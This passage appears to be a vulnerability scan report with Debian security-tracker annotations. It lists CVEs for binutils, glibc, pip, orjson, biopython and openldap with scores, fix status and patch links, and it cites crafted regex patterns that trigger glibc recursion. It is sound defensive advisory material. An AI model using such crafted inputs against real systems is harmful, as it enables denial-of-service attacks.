TLS 1.1 or 1.2 which is supported since 2.0.0 haskell-tls (unimportant) No mitigation for haskell-tls, it is recommended to use TLS 1.1, which is supported since 0.2 matrixssl (low) [squeeze] - matrixssl (Minor issue) [wheezy] - matrixssl (Minor issue) matrixssl fix this upstream in 3.2.2 bouncycastle 1.49+dfsg-1 [squeeze] - bouncycastle (Minor issue) [wheezy] - bouncycastle (Minor issue) No mitigation for bouncycastle, it is recommended to use TLS 1.1, which is supported since 1.4.9 nss 3.13.1.with.ckbi.1.88-1 https://bugzilla.mozilla.org/show_bug.cgi?id=665814 https://hg.mozilla.org/projects/nss/rev/7f7446fcc7ab polarssl (unimportant) No mitigation for polarssl, it is recommended to use TLS 1.1, which is supported in all releases tlslite [wheezy] - tlslite (Minor issue) pound 2.6-2 Pound 2.6-2 added an anti_beast.patch to mitigate BEAST attacks. erlang 1:15.b-dfsg-1 [squeeze] - erlang (Minor issue) asterisk 1:13.7.2dfsg-1 [jessie] - asterisk 1:11.13.1dfsg-2+deb8u1 [wheezy] - asterisk (Minor issue) [squeeze] - asterisk (Not supported in Squeeze LTS) http://downloads.digium.com/pub/security/AST-2016-001.html https://issues.asterisk.org/jira/browse/ASTERISK-24972 patch for 11 (jessie): https://code.asterisk.org/code/changelog/asterisk?cs=f233bcd81d85626ce5bdd27b05bc95d131faf3e4 all versions vulnerable, backport required for wheezy

orjson 3.10.18 (pypi) pkg:pypi/orjson@3.10.18 Allocation of Resources Without Limits or Throttling Affected range <=3.11.4 Fixed version Not Fixed CVSS Score 5.5 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P EPSS Score 0.040% EPSS Percentile 12th percentile Description The orjson.dumps function in orjson thru 3.11.4 does not limit recursion for deeply nested JSON documents.

pip 24.3.1 (pypi) pkg:pypi/pip@24.3.1 Improper Link Resolution Before File Access ('Link Following') Affected range <=25.2 Fixed version 25.3 CVSS Score 5.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.024% EPSS Percentile 6th percentile Description When extracting a tar archive pip may not check symbolic links point into the extraction directory if the tarfile module doesn't implement PEP 706. Note that upgrading pip to a "fixed" version for this vulnerability doesn't fix all known vulnerabilities that are remediated by using a Python version that implements PEP 706. Note that this is a vulnerability in pip's fallback implementation of tar extraction for Python versions that don't implement PEP 706 and therefore are not secure to all vulnerabilities in the Python 'tarfile' module. If you're using a Python version that implements PEP 706 then pip doesn't use the "vulnerable" fallback code. Mitigations include upgrading to a version of pip that includes the fix, upgrading to a Python version that implements PEP 706 (Python >=3.9.17, >=3.10.12, >=3.11.4, or >=3.12), applying the linked patch, or inspecting source distributions (sdists) before installation as is already a best-practice.

biopython 1.85 (pypi) pkg:pypi/biopython@1.85 Improper Restriction of XML External Entity Reference Affected range <=1.86 Fixed version Not Fixed CVSS Score 4.9 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:L EPSS Score 0.044% EPSS Percentile 13th percentile Description Bio.Entrez in Biopython through 1.86 allows doctype XXE.

binutils 2.44-3 (deb) pkg:deb/debian/binutils@2.44-3?os_distro=trixie&os_name=debian&os_version=13 Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.019% EPSS Percentile 4th percentile Description A vulnerability was found in GNU Binutils 2.44 and classified as problematic. This issue affects the function process_debug_info of the file binutils/dwarf.c of the component DWARF Section Handler. The manipulation leads to memory leak. Attacking locally is a requirement. The identifier of the patch is e51fdff7d2e538c0e5accdd65649ac68e6e0ddd4. It is recommended to apply a patch to fix this issue. binutils 2.45-3 (unimportant) https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=e51fdff7d2e538c0e5accdd65649ac68e6e0ddd4 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.015% EPSS Percentile 2nd percentile Description A vulnerability, which was classified as problematic, has been found in GNU Binutils 2.45. Affected by this issue is the function bfd_elf_set_group_contents of the file bfd/elf.c. The manipulation leads to out-of-bounds write. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. The name of the patch is 41461010eb7c79fee7a9d5f6209accdaac66cc6b. It is recommended to apply a patch to fix this issue. binutils 2.45-3 (unimportant) https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=41461010eb7c79fee7a9d5f6209accdaac66cc6b https://sourceware.org/bugzilla/show_bug.cgi?id=33050 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.015% EPSS Percentile 2nd percentile Description A vulnerability classified as problematic was found in GNU Binutils 2.45. Affected by this vulnerability is the function copy_section of the file binutils/objcopy.c. The manipulation leads to heap-based buffer overflow. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The patch is named 08c3cbe5926e4d355b5cb70bbec2b1eeb40c2944. It is recommended to apply a patch to fix this issue. binutils 2.45-3 (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=33049 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=08c3cbe5926e4d355b5cb70bbec2b1eeb40c2944 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.028% EPSS Percentile 8th percentile Description An issue was discovered in function d_abi_tags in file cp-demangle.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file. binutils (unimportant) binutils not covered by security support and most certainly bogus since they were assigned for a very old binutils release Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.049% EPSS Percentile 15th percentile Description An issue was discovered in function d_print_comp_inner in file cp-demangle.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file. binutils (unimportant) binutils not covered by security support and most certainly bogus since they were assigned for a very old binutils release Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.028% EPSS Percentile 8th percentile Description An issue was discovered in function d_print_comp_inner in file cp-demangle.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file. binutils (unimportant) binutils not covered by security support and most certainly bogus since they were assigned for a very old binutils release Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.049% EPSS Percentile 15th percentile Description An issue was discovered in function d_discriminator in file cp-demangle.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file. binutils (unimportant) binutils not covered by security support and most certainly bogus since they were assigned for a very old binutils release Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.049% EPSS Percentile 15th percentile Description A buffer overflow vulnerability in function gnu_special in file cplus-dem.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file. binutils (unimportant) binutils not covered by security support and most certainly bogus since they were assigned for a very old binutils release Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.018% EPSS Percentile 4th percentile Description An issue was discovered in function d_unqualified_name in file cp-demangle.c in BinUtils 2.26 allowing attackers to cause a denial of service via crafted PE file. binutils (unimportant) binutils not covered by security support and most certainly bogus since they were assigned for a very old binutils release Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.022% EPSS Percentile 5th percentile Description A vulnerability classified as critical has been found in GNU Binutils up to 2.44. This affects the function debug_type_samep of the file /binutils/debug.c of the component objdump. The manipulation leads to memory corruption. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. binutils 2.45-3 (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=32829 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=6c3458a8b7ee7d39f070c7b2350851cb2110c65a binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.022% EPSS Percentile 5th percentile Description A vulnerability was found in GNU Binutils up to 2.44. It has been rated as critical. Affected by this issue is the function elf_gc_sweep of the file bfd/elflink.c of the component ld. The manipulation leads to memory corruption. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. Upgrading to version 2.45 is able to address this issue. It is recommended to upgrade the affected component. binutils 2.45-3 (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=32858 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=d1458933830456e54223d9fc61f0d9b3a19256f5 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.025% EPSS Percentile 6th percentile Description A vulnerability has been found in GNU Binutils 2.43/2.44 and classified as problematic. Affected by this vulnerability is the function display_info of the file binutils/bucomm.c of the component objdump. The manipulation leads to memory leak. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The patch is named ba6ad3a18cb26b79e0e3b84c39f707535bbc344d. It is recommended to apply a patch to fix this issue. binutils 2.45-3 (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=32716 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=ba6ad3a18cb26b79e0e3b84c39f707535bbc344d binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.027% EPSS Percentile 7th percentile Description A weakness has been identified in GNU Binutils 2.45. The affected element is the function vfinfo of the file ldmisc.c. Executing manipulation can lead to out-of-bounds read. The attack can only be executed locally. The exploit has been made available to the public and could be exploited. This patch is called 16357. It is best practice to apply a patch to resolve this issue. binutils (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=33455 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.016% EPSS Percentile 3rd percentile Description A security flaw has been discovered in GNU Binutils 2.45. Impacted is the function tg_tag_type of the file prdbg.c. Performing manipulation results in unchecked return value. The attack needs to be approached locally. The exploit has been released to the public and may be exploited. binutils (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=33448 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.306% EPSS Percentile 53rd percentile Description A vulnerability, which was classified as critical, was found in GNU Binutils 2.43. Affected is the function bfd_elf_reloc_symbol_deleted_p of the file bfd/elflink.c of the component ld. The manipulation leads to memory corruption. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The patch is identified as b425859021d17adf62f06fb904797cf8642986ad. It is recommended to apply a patch to fix this issue. binutils 2.45-3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108986) https://sourceware.org/bugzilla/show_bug.cgi?id=32644 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=b425859021d17adf62f06fb904797cf8642986ad binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.408% EPSS Percentile 61st percentile Description A vulnerability classified as critical was found in GNU Binutils 2.43. This vulnerability affects the function _bfd_elf_gc_mark_rsec of the file bfd/elflink.c of the component ld. The manipulation leads to memory corruption. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The name of the patch is 931494c9a89558acb36a03a340c01726545eef24. It is recommended to apply a patch to fix this issue. binutils 2.45-3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108986) https://sourceware.org/bugzilla/show_bug.cgi?id=32643 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=931494c9a89558acb36a03a340c01726545eef24 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.279% EPSS Percentile 51st percentile Description A vulnerability classified as problematic has been found in GNU Binutils 2.43. This affects the function _bfd_elf_write_section_eh_frame of the file bfd/elf-eh-frame.c of the component ld. The manipulation leads to memory corruption. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. binutils 2.45-3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108986) https://sourceware.org/bugzilla/show_bug.cgi?id=32642 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.357% EPSS Percentile 57th percentile Description A vulnerability was found in GNU Binutils 2.43. It has been declared as problematic. Affected by this vulnerability is the function bfd_putl64 of the file libbfd.c of the component ld. The manipulation leads to memory corruption. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The identifier of the patch is 75086e9de1707281172cc77f178e7949a4414ed0. It is recommended to apply a patch to fix this issue. binutils 2.45-3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108986) https://sourceware.org/bugzilla/show_bug.cgi?id=32638 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=75086e9de1707281172cc77f178e7949a4414ed0 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.348% EPSS Percentile 57th percentile Description A vulnerability was found in GNU Binutils 2.43 and classified as critical. This issue affects the function _bfd_elf_gc_mark_rsec of the file elflink.c of the component ld. The manipulation leads to heap-based buffer overflow. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. The patch is named f9978defb6fab0bd8583942d97c112b0932ac814. It is recommended to apply a patch to fix this issue. binutils 2.45-3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108986) https://sourceware.org/bugzilla/show_bug.cgi?id=32636 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=f9978defb6fab0bd8583942d97c112b0932ac814 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.599% EPSS Percentile 69th percentile Description A vulnerability classified as problematic was found in GNU Binutils 2.43/2.44. Affected by this vulnerability is the function bfd_set_format of the file format.c. The manipulation leads to memory corruption. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. Upgrading to version 2.45 is able to address this issue. The identifier of the patch is 8d97c1a53f3dc9fd8e1ccdb039b8a33d50133150. It is recommended to upgrade the affected component. binutils 2.45-3 (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=32603 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=8d97c1a53f3dc9fd8e1ccdb039b8a33d50133150 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.181% EPSS Percentile 40th percentile Description A vulnerability classified as problematic has been found in GNU Binutils 2.43. Affected is the function xstrdup of the file xstrdup.c of the component ld. The manipulation leads to memory leak. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The code maintainer explains: "I'm not going to commit some of the leak fixes I've been working on to the 2.44 branch due to concern that would destabilise ld. All of the reported leaks in this bugzilla have been fixed on binutils master." binutils 2.45-3 (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=32576 binutils not covered by security support These were fixed in master, so 2.45 at the time Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.167% EPSS Percentile 38th percentile Description A vulnerability was found in GNU Binutils 2.43. It has been rated as problematic. This issue affects the function xmemdup of the file xmemdup.c of the component ld. The manipulation leads to memory leak. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The code maintainer explains: "I'm not going to commit some of the leak fixes I've been working on to the 2.44 branch due to concern that would destabilise ld. All of the reported leaks in this bugzilla have been fixed on binutils master." binutils 2.45-3 (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=32576 binutils not covered by security support These were fixed in master, so 2.45 at the time Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.181% EPSS Percentile 40th percentile Description A vulnerability was found in GNU Binutils 2.43. It has been declared as problematic. This vulnerability affects the function bfd_malloc of the file libbfd.c of the component ld. The manipulation leads to memory leak. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The code maintainer explains: "I'm not going to commit some of the leak fixes I've been working on to the 2.44 branch due to concern that would destabilise ld. All of the reported leaks in this bugzilla have been fixed on binutils master." binutils 2.45-3 (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=32576 binutils not covered by security support These were fixed in master, so 2.45 at the time Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.027% EPSS Percentile 7th percentile Description A vulnerability was determined in GNU Binutils 2.45. The affected element is the function elf_x86_64_relocate_section of the file elf64-x86-64.c of the component Linker. This manipulation causes heap-based buffer overflow. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. Patch name: 6b21c8b2ecfef5c95142cbc2c32f185cb1c26ab0. To fix this issue, it is recommended to deploy a patch. binutils (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=33502 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=6b21c8b2ecfef5c95142cbc2c32f185cb1c26ab0 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.027% EPSS Percentile 7th percentile Description A vulnerability was found in GNU Binutils 2.45. Impacted is the function _bfd_x86_elf_late_size_sections of the file bfd/elfxx-x86.c of the component Linker. The manipulation results in out-of-bounds read. The attack needs to be approached locally. The exploit has been made public and could be used. The patch is identified as b6ac5a8a5b82f0ae6a4642c8d7149b325f4cc60a. A patch should be applied to remediate this issue. binutils (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=33499 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=b6ac5a8a5b82f0ae6a4642c8d7149b325f4cc60a binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.181% EPSS Percentile 40th percentile Description A vulnerability was found in GNU Binutils 2.43. It has been classified as problematic. This affects the function xstrdup of the file libiberty/xmalloc.c of the component ld. The manipulation leads to memory leak. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The code maintainer explains: "I'm not going to commit some of the leak fixes I've been working on to the 2.44 branch due to concern that would destabilise ld. All of the reported leaks in this bugzilla have been fixed on binutils master." binutils 2.45-3 (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=32576 binutils not covered by security support These were fixed in master, so 2.45 at the time Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.405% EPSS Percentile 60th percentile Description A vulnerability was found in GNU Binutils 2.43 and classified as problematic. Affected by this issue is the function link_order_scan of the file ld/ldelfgen.c of the component ld. The manipulation leads to memory leak. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The code maintainer explains: "I'm not going to commit some of the leak fixes I've been working on to the 2.44 branch due to concern that would destabilise ld. All of the reported leaks in this bugzilla have been fixed on binutils master." binutils 2.45-3 (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=32576 binutils not covered by security support These were fixed in master, so 2.45 at the time Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.390% EPSS Percentile 60th percentile Description A vulnerability has been found in GNU Binutils 2.43 and classified as problematic. Affected by this vulnerability is the function __sanitizer::internal_strlen of the file binutils/nm.c of the component nm. The manipulation of the argument const leads to buffer overflow. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. binutils 2.45-3 (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=32556 binutils not covered by security support These were fixed in master, so 2.45 at the time Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.027% EPSS Percentile 7th percentile Description A vulnerability was determined in GNU Binutils 2.45. Affected by this vulnerability is the function get_link_hash_entry of the file bfd/elflink.c of the component Linker. This manipulation causes out-of-bounds read. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.46 addresses this issue. Patch name: aeaaa9af6359c8e394ce9cf24911fec4f4d23703. It is advisable to upgrade the affected component. binutils (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=33450 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=aeaaa9af6359c8e394ce9cf24911fec4f4d23703 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.027% EPSS Percentile 7th percentile Description A vulnerability was found in GNU Binutils 2.45. Affected is the function elf_link_add_object_symbols of the file bfd/elflink.c of the component Linker. The manipulation results in out-of-bounds read. The attack needs to be approached locally. The exploit has been made public and could be used. Upgrading to version 2.46 is able to address this issue. The patch is identified as 72efdf166aa0ed72ecc69fc2349af6591a7a19c0. Upgrading the affected component is advised. binutils (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=33452 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=72efdf166aa0ed72ecc69fc2349af6591a7a19c0 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.027% EPSS Percentile 7th percentile Description A vulnerability has been found in GNU Binutils 2.45. This impacts the function bfd_elf_gc_record_vtentry of the file bfd/elflink.c of the component Linker. The manipulation leads to out-of-bounds read. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The identifier of the patch is 047435dd988a3975d40c6626a8f739a0b2e154bc. To fix this issue, it is recommended to deploy a patch. binutils (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=33452 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=047435dd988a3975d40c6626a8f739a0b2e154bc binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.034% EPSS Percentile 10th percentile Description A vulnerability has been found in GNU Binutils 2.45. The affected element is the function elf_swap_shdr in the library bfd/elfcode.h of the component Linker. The manipulation leads to heap-based buffer overflow. The attack must be carried out locally. The exploit has been disclosed to the public and may be used. The identifier of the patch is 9ca499644a21ceb3f946d1c179c38a83be084490. To fix this issue, it is recommended to deploy a patch. The code maintainer replied with "[f]ixed for 2.46". binutils (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=33457 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=9ca499644a21ceb3f946d1c179c38a83be084490 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.030% EPSS Percentile 8th percentile Description A flaw has been found in GNU Binutils 2.45. Impacted is the function _bfd_elf_parse_eh_frame of the file bfd/elf-eh-frame.c of the component Linker. Executing manipulation can lead to heap-based buffer overflow. The attack is restricted to local execution. The exploit has been published and may be used. This patch is called ea1a0737c7692737a644af0486b71e4a392cbca8. A patch should be applied to remediate this issue. The code maintainer replied with "[f]ixed for 2.46". binutils (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=33464 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=ea1a0737c7692737a644af0486b71e4a392cbca8 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.035% EPSS Percentile 10th percentile Description A vulnerability was detected in GNU Binutils 2.45. This issue affects the function dump_dwarf_section of the file binutils/objdump.c. Performing manipulation results in out-of-bounds read. The attack is only possible with local access. The exploit is now public and may be used. The patch is named f87a66db645caf8cc0e6fc87b0c28c78a38af59b. It is suggested to install a patch to address this issue. binutils (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=33406 https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=f87a66db645caf8cc0e6fc87b0c28c78a38af59b binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.115% EPSS Percentile 31st percentile Description An issue was discovered in GNU libiberty, as distributed in GNU Binutils 2.36. It is a stack-overflow issue in demangle_type in rust-demangle.c. binutils (unimportant) https://bugs.launchpad.net/ubuntu/+source/binutils/+bug/1927070 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.385% EPSS Percentile 59th percentile Description An issue was discovered in cplus-dem.c in GNU libiberty, as distributed in GNU Binutils 2.30. Stack Exhaustion occurs in the C++ demangling functions provided by libiberty, and there are recursive stack frames: demangle_template_value_parm, demangle_integral_value, and demangle_expression. binutils (unimportant) https://gcc.gnu.org/bugzilla/show_bug.cgi?id=85304 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 1.010% EPSS Percentile 77th percentile Description A heap-based buffer over-read exists in the function d_expression_1 in cp-demangle.c in GNU libiberty, as distributed in GNU Binutils 2.31.1. A crafted input can cause segmentation faults, leading to denial-of-service, as demonstrated by c++filt. binutils (unimportant) https://gcc.gnu.org/bugzilla/show_bug.cgi?id=88629 https://sourceware.org/bugzilla/show_bug.cgi?id=24043 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.119% EPSS Percentile 31st percentile Description The demangle_template function in cplus-dem.c in GNU libiberty, as distributed in GNU Binutils 2.31.1, contains an integer overflow vulnerability (for "Create an array for saving the template argument values") that can trigger a heap-based buffer overflow, as demonstrated by nm. binutils (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=24039 binutils not covered by security support Affected range <=2.44-3 Fixed version Not Fixed EPSS Score 0.237% EPSS Percentile 47th percentile Description The C++ symbol demangler routine in cplus-dem.c in libiberty, as distributed in GNU Binutils 2.29, allows remote attackers to cause a denial of service (excessive memory allocation and application crash) via a crafted file, as demonstrated by a call from the Binary File Descriptor (BFD) library (aka libbfd). binutils (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=22009 Underlying bug is though in the C++ demangler part of libiberty, but MITRE has assigned it specifically to the issue as raised within binutils. binutils not covered by security support

glibc 2.41-12 (deb) pkg:deb/debian/glibc@2.41-12?os_distro=trixie&os_name=debian&os_version=13 Affected range <=2.41-12+deb13u1 Fixed version Not Fixed EPSS Score 0.841% EPSS Percentile 74th percentile Description In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(|)(\1\1)*' in grep, a different issue than CVE-2018-20796. NOTE: the software maintainer disputes that this is a vulnerability because the behavior occurs only with a crafted pattern glibc (unimportant) eglibc (unimportant) https://sourceware.org/bugzilla/show_bug.cgi?id=24269 Affected range <=2.41-12+deb13u1 Fixed version Not Fixed EPSS Score 1.239% EPSS Percentile 79th percentile Description GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may guess the heap addresses of pthread_created thread. The component is: glibc. NOTE: the vendor's position is "ASLR bypass itself is not a vulnerability. glibc (unimportant) Not treated as a security issue by upstream https://sourceware.org/bugzilla/show_bug.cgi?id=22853 Affected range <=2.41-12+deb13u1 Fixed version Not Fixed EPSS Score 0.646% EPSS Percentile 70th percentile Description GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass ASLR using cache of thread stack and heap. The component is: glibc. NOTE: Upstream comments indicate "this is being treated as a non-security bug and no real threat. glibc (unimportant) Not treated as a security issue by upstream https://sourceware.org/bugzilla/show_bug.cgi?id=22852 Affected range <=2.41-12+deb13u1 Fixed version Not Fixed EPSS Score 0.313% EPSS Percentile 54th percentile Description GNU Libc current is affected by: Re-mapping current loaded library with malicious ELF file. The impact is: In worst case attacker may evaluate privileges. The component is: libld. The attack vector is: Attacker sends 2 ELF files to victim and asks to run ldd on it. ldd execute code. NOTE: Upstream comments indicate "this is being treated as a non-security bug and no real threat. glibc (unimportant) Not treated as a security issue by upstream https://sourceware.org/bugzilla/show_bug.cgi?id=22851 Affected range <=2.41-12+deb13u1 Fixed version Not Fixed EPSS Score 0.131% EPSS Percentile 33rd percentile Description GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass stack guard protection. The component is: nptl. The attack vector is: Exploit stack buffer overflow vulnerability and use this bypass vulnerability to bypass stack guard. NOTE: Upstream comments indicate "this is being treated as a non-security bug and no real threat. glibc (unimportant) Not treated as a security issue by upstream https://sourceware.org/bugzilla/show_bug.cgi?id=22850 Affected range <=2.41-12+deb13u1 Fixed version Not Fixed EPSS Score 1.492% EPSS Percentile 81st percentile Description In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(\227|)(\1\1|t1|\\2537)+' in grep. glibc (unimportant) eglibc (unimportant) https://debbugs.gnu.org/cgi/bugreport.cgi?bug=34141 https://lists.gnu.org/archive/html/bug-gnulib/2019-01/msg00108.html No treated as vulnerability: https://sourceware.org/glibc/wiki/Security%20Exceptions Affected range <=2.41-12+deb13u1 Fixed version Not Fixed EPSS Score 0.371% EPSS Percentile 58th percentile Description The glob implementation in the GNU C Library (aka glibc or libc6) allows remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in STAT commands to an FTP daemon, a different vulnerability than CVE-2010-2632. glibc (unimportant) eglibc (unimportant) That's standard POSIX behaviour implemented by (e)glibc. Applications using glob need to impose limits for themselves

openldap 2.6.10+dfsg-1 (deb) pkg:deb/debian/openldap@2.6.10%2Bdfsg-1?os_distro=trixie&os_name=debian&os_version=13 Affected range <=2.6.10+dfsg-1 Fixed version Not Fixed EPSS Score 0.018% EPSS Percentile 4th percentile Description OpenLDAP Lightning Memory-Mapped Database (LMDB) versions up to and including 0.9.14, prior to commit 8e1fda8, contain a heap buffer underflow in the readline() function of mdb_load. When processing malformed input containing an embedded NUL byte, an unsigned offset calculation can underflow and cause an out-of-bounds read of one byte before the allocated heap buffer. This can cause mdb_load to crash, leading to a limited denial-of-service condition. openldap (unimportant) lmdb (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126287) [trixie] - lmdb (Minor issue) [bookworm] - lmdb (Minor issue) [bullseye] - lmdb (Minor issue; can be fixed in next update) https://seclists.org/fulldisclosure/2026/Jan/5 https://bugs.openldap.org/show_bug.cgi?id=10421 Fixed by: https://git.openldap.org/openldap/openldap/-/commit/8e1fda85532a3c74276df38a42d234dcdfa1e40d OpenLDAP bundles lmdb but does not build mdb_load.c Affected range <=2.6.10+dfsg-1 